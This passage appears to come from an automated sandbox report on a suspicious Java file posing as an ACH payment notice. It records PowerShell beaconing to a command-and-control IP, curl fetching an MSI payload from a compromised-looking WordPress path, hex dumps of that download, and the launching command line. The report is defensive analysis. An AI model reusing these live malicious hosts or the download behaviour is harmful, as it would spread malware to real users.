Apr 23, 2024 17:47:36.444705009 CEST	72	OUT	GET /2220045058 HTTP/1.1 Host: 64.95.10.191 Connection: Keep-Alive
Apr 23, 2024 17:47:36.585005045 CEST	275	IN	HTTP/1.1 404 Not Found X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: text/plain; charset=utf-8 Content-Length: 9 ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg" Date: Tue, 23 Apr 2024 15:47:36 GMT Connection: keep-alive Keep-Alive: timeout=5 Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.9	49725	64.95.10.191	80	3632	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 17:47:43.059370995 CEST	72	OUT	GET /2220045058 HTTP/1.1 Host: 64.95.10.191 Connection: Keep-Alive
Apr 23, 2024 17:47:43.210978031 CEST	275	IN	HTTP/1.1 404 Not Found X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: text/plain; charset=utf-8 Content-Length: 9 ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg" Date: Tue, 23 Apr 2024 15:47:43 GMT Connection: keep-alive Keep-Alive: timeout=5 Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.9	49726	64.95.10.191	80	3632	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 17:47:49.700859070 CEST	72	OUT	GET /2220045058 HTTP/1.1 Host: 64.95.10.191 Connection: Keep-Alive
Apr 23, 2024 17:47:49.875200987 CEST	275	IN	HTTP/1.1 404 Not Found X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: text/plain; charset=utf-8 Content-Length: 9 ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg" Date: Tue, 23 Apr 2024 15:47:49 GMT Connection: keep-alive Keep-Alive: timeout=5 Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.9	49727	64.95.10.191	80	3632	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 17:47:56.406135082 CEST	72	OUT	GET /2220045058 HTTP/1.1 Host: 64.95.10.191 Connection: Keep-Alive
Apr 23, 2024 17:47:56.581450939 CEST	275	IN	HTTP/1.1 404 Not Found X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: text/plain; charset=utf-8 Content-Length: 9 ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg" Date: Tue, 23 Apr 2024 15:47:56 GMT Connection: keep-alive Keep-Alive: timeout=5 Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.9	49728	64.95.10.191	80	3632	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 17:48:03.073859930 CEST	72	OUT	GET /2220045058 HTTP/1.1 Host: 64.95.10.191 Connection: Keep-Alive
Apr 23, 2024 17:48:03.232517004 CEST	275	IN	HTTP/1.1 404 Not Found X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: text/plain; charset=utf-8 Content-Length: 9 ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg" Date: Tue, 23 Apr 2024 15:48:03 GMT Connection: keep-alive Keep-Alive: timeout=5 Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.9	49729	64.95.10.191	80	3632	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 17:48:10.327810049 CEST	72	OUT	GET /2220045058 HTTP/1.1 Host: 64.95.10.191 Connection: Keep-Alive
Apr 23, 2024 17:48:10.475567102 CEST	275	IN	HTTP/1.1 404 Not Found X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: text/plain; charset=utf-8 Content-Length: 9 ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg" Date: Tue, 23 Apr 2024 15:48:10 GMT Connection: keep-alive Keep-Alive: timeout=5 Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.9	49730	64.95.10.191	80	3632	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 17:48:16.963794947 CEST	72	OUT	GET /2220045058 HTTP/1.1 Host: 64.95.10.191 Connection: Keep-Alive
Apr 23, 2024 17:48:17.118267059 CEST	275	IN	HTTP/1.1 404 Not Found X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: text/plain; charset=utf-8 Content-Length: 9 ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg" Date: Tue, 23 Apr 2024 15:48:17 GMT Connection: keep-alive Keep-Alive: timeout=5 Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.9	49731	64.95.10.191	80	3632	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 17:48:23.901830912 CEST	72	OUT	GET /2220045058 HTTP/1.1 Host: 64.95.10.191 Connection: Keep-Alive
Apr 23, 2024 17:48:24.075773001 CEST	275	IN	HTTP/1.1 404 Not Found X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: text/plain; charset=utf-8 Content-Length: 9 ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg" Date: Tue, 23 Apr 2024 15:48:24 GMT Connection: keep-alive Keep-Alive: timeout=5 Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.9	49732	64.95.10.191	80	3632	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 17:48:30.556915998 CEST	72	OUT	GET /2220045058 HTTP/1.1 Host: 64.95.10.191 Connection: Keep-Alive
Apr 23, 2024 17:48:30.706118107 CEST	275	IN	HTTP/1.1 404 Not Found X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: text/plain; charset=utf-8 Content-Length: 9 ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg" Date: Tue, 23 Apr 2024 15:48:30 GMT Connection: keep-alive Keep-Alive: timeout=5 Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.9	49733	64.95.10.191	80	3632	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 17:48:37.217258930 CEST	72	OUT	GET /2220045058 HTTP/1.1 Host: 64.95.10.191 Connection: Keep-Alive
Apr 23, 2024 17:48:37.387003899 CEST	275	IN	HTTP/1.1 404 Not Found X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: text/plain; charset=utf-8 Content-Length: 9 ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg" Date: Tue, 23 Apr 2024 15:48:37 GMT Connection: keep-alive Keep-Alive: timeout=5 Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.9	49734	64.95.10.191	80	3632	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 17:48:43.884644032 CEST	72	OUT	GET /2220045058 HTTP/1.1 Host: 64.95.10.191 Connection: Keep-Alive
Apr 23, 2024 17:48:44.037225962 CEST	275	IN	HTTP/1.1 404 Not Found X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: text/plain; charset=utf-8 Content-Length: 9 ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg" Date: Tue, 23 Apr 2024 15:48:43 GMT Connection: keep-alive Keep-Alive: timeout=5 Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.9	49735	64.95.10.191	80	3632	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 17:48:50.510087013 CEST	72	OUT	GET /2220045058 HTTP/1.1 Host: 64.95.10.191 Connection: Keep-Alive
Apr 23, 2024 17:48:50.651252031 CEST	275	IN	HTTP/1.1 404 Not Found X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: text/plain; charset=utf-8 Content-Length: 9 ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg" Date: Tue, 23 Apr 2024 15:48:50 GMT Connection: keep-alive Keep-Alive: timeout=5 Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.9	49736	64.95.10.191	80	3632	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 17:48:57.135027885 CEST	72	OUT	GET /2220045058 HTTP/1.1 Host: 64.95.10.191 Connection: Keep-Alive
Apr 23, 2024 17:48:57.297852993 CEST	275	IN	HTTP/1.1 404 Not Found X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: text/plain; charset=utf-8 Content-Length: 9 ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg" Date: Tue, 23 Apr 2024 15:48:57 GMT Connection: keep-alive Keep-Alive: timeout=5 Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.9	49737	64.95.10.191	80	3632	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 17:49:03.776964903 CEST	72	OUT	GET /2220045058 HTTP/1.1 Host: 64.95.10.191 Connection: Keep-Alive
Apr 23, 2024 17:49:03.939913988 CEST	275	IN	HTTP/1.1 404 Not Found X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: text/plain; charset=utf-8 Content-Length: 9 ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg" Date: Tue, 23 Apr 2024 15:49:03 GMT Connection: keep-alive Keep-Alive: timeout=5 Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.9	49738	64.95.10.191	80	3632	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 17:49:11.027213097 CEST	72	OUT	GET /2220045058 HTTP/1.1 Host: 64.95.10.191 Connection: Keep-Alive
Apr 23, 2024 17:49:11.202244043 CEST	275	IN	HTTP/1.1 404 Not Found X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: text/plain; charset=utf-8 Content-Length: 9 ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg" Date: Tue, 23 Apr 2024 15:49:11 GMT Connection: keep-alive Keep-Alive: timeout=5 Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.9	49739	64.95.10.191	80	3632	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 17:49:17.671016932 CEST	72	OUT	GET /2220045058 HTTP/1.1 Host: 64.95.10.191 Connection: Keep-Alive
Apr 23, 2024 17:49:17.811058998 CEST	275	IN	HTTP/1.1 404 Not Found X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: text/plain; charset=utf-8 Content-Length: 9 ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg" Date: Tue, 23 Apr 2024 15:49:17 GMT Connection: keep-alive Keep-Alive: timeout=5 Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.9	49740	64.95.10.191	80	3632	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 17:49:24.355781078 CEST	72	OUT	GET /2220045058 HTTP/1.1 Host: 64.95.10.191 Connection: Keep-Alive
Apr 23, 2024 17:49:24.508038044 CEST	275	IN	HTTP/1.1 404 Not Found X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: text/plain; charset=utf-8 Content-Length: 9 ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg" Date: Tue, 23 Apr 2024 15:49:24 GMT Connection: keep-alive Keep-Alive: timeout=5 Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.9	49742	64.95.10.191	80	3632	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 17:49:38.152786970 CEST	72	OUT	GET /2220045058 HTTP/1.1 Host: 64.95.10.191 Connection: Keep-Alive
Apr 23, 2024 17:49:38.308403969 CEST	275	IN	HTTP/1.1 404 Not Found X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: text/plain; charset=utf-8 Content-Length: 9 ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg" Date: Tue, 23 Apr 2024 15:49:38 GMT Connection: keep-alive Keep-Alive: timeout=5 Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.9	49743	64.95.10.191	80	3632	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 17:49:45.179122925 CEST	72	OUT	GET /2220045058 HTTP/1.1 Host: 64.95.10.191 Connection: Keep-Alive
Apr 23, 2024 17:49:45.332254887 CEST	275	IN	HTTP/1.1 404 Not Found X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: text/plain; charset=utf-8 Content-Length: 9 ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg" Date: Tue, 23 Apr 2024 15:49:45 GMT Connection: keep-alive Keep-Alive: timeout=5 Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.9	49744	64.95.10.191	80	3632	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 17:49:51.812701941 CEST	72	OUT	GET /2220045058 HTTP/1.1 Host: 64.95.10.191 Connection: Keep-Alive
Apr 23, 2024 17:49:51.979729891 CEST	275	IN	HTTP/1.1 404 Not Found X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: text/plain; charset=utf-8 Content-Length: 9 ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg" Date: Tue, 23 Apr 2024 15:49:51 GMT Connection: keep-alive Keep-Alive: timeout=5 Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.9	49745	64.95.10.191	80

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 17:49:58.855811119 CEST	72	OUT	GET /2220045058 HTTP/1.1 Host: 64.95.10.191 Connection: Keep-Alive
Apr 23, 2024 17:49:59.009349108 CEST	275	IN	HTTP/1.1 404 Not Found X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: text/plain; charset=utf-8 Content-Length: 9 ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg" Date: Tue, 23 Apr 2024 15:49:58 GMT Connection: keep-alive Keep-Alive: timeout=5 Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49708	172.67.168.231	443	7008	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 15:45:55 UTC	132	OUT	GET /wp-content/themes/twentytwentytwo/MSD_Setup_sib.msi HTTP/1.1 Host: cryptonews.direct User-Agent: curl/7.83.1 Accept: /
2024-04-23 15:45:56 UTC	666	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 15:45:56 GMT Content-Type: application/octet-stream Content-Length: 32768 Connection: close last-modified: Tue, 23 Apr 2024 13:42:21 GMT etag: "6627babd-8000" accept-ranges: bytes CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TljP7th4jqCDhrRJDjRH%2FJxopZqnb5keB5i5I%2F12A4onUbjWtHDGyO3PEQZ6fjIq9tJkz%2BEpgWEVcUsjX7ymDwFDH8U3qsi4ogUtXBVyFwKkxcGW71Ap9EEtIcOvekP1iiVvjw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878efbc4afbb17ef-ATL alt-svc: h3=":443"; ma=86400
2024-04-23 15:45:56 UTC	703	IN	Data Raw: d0 cf 11 e0 a1 b1 1a e1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3e 00 04 00 fe ff 0c 00 06 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 00 00 00 00 00 10 00 00 02 00 00 00 01 00 00 00 fe ff ff ff 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: >
2024-04-23 15:45:56 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-04-23 15:45:56 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-04-23 15:45:56 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-04-23 15:45:56 UTC	1369	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii:
2024-04-23 15:45:56 UTC	1369	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii:
2024-04-23 15:45:56 UTC	644	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii:
2024-04-23 15:45:56 UTC	1369	IN	Data Raw: 52 00 6f 00 6f 00 74 00 20 00 45 00 6e 00 74 00 72 00 79 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 16 00 05 00 ff ff ff ff ff ff ff ff 03 00 00 00 84 10 0c 00 00 00 00 00 c0 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 80 df 01 82 64 95 da 01 03 00 00 00 00 17 00 00 00 00 00 00 16 3f cd 47 1c 42 37 46 b3 47 26 41 25 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 02 00 ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 62 01 00 00 00 00 00 Data Ascii: Root EntryFd?GB7FG&A%Hb
2024-04-23 15:45:56 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 00 00 00 18 00 00 00 00 00 00 00 40 48 0f 42 e4 45 78 45 28 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 00 02 01 10 00 00 00 13 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 37 00 00 00 10 00 00 00 00 00 00 00 40 48 0f 42 e4 45 78 45 28 3b 32 44 b3 44 31 42 f1 45 36 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 16 00 02 01 05 00 00 00 0f 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 Data Ascii: 6@HBExE(H7@HBExE(;2DD1BE6H
2024-04-23 15:45:56 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 00 02 01 16 00 00 00 ff ff ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 00 00 00 24 00 00 00 00 00 00 00 40 48 3f 3b f2 43 38 44 b1 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 00 02 00 ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 00 00 00 a0 02 00 00 00 00 00 00 40 48 3f 3f 77 45 6c 44 6a 3e b2 44 2f 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: B$@H?;C8DEC@H??wElDj>D/H

Target ID:	0
Start time:	17:45:53
Start date:	23/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\Java\jre-1.8\bin\java.exe" -javaagent:"C:\Users\user\AppData\Local\Temp\jartracer.jar" -jar "C:\Users\user\Desktop\23-April-24-ACH-7fa67756.jar"" >> C:\cmdlinestart.log 2>&1
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	17:45:53
Start date:	23/04/2024
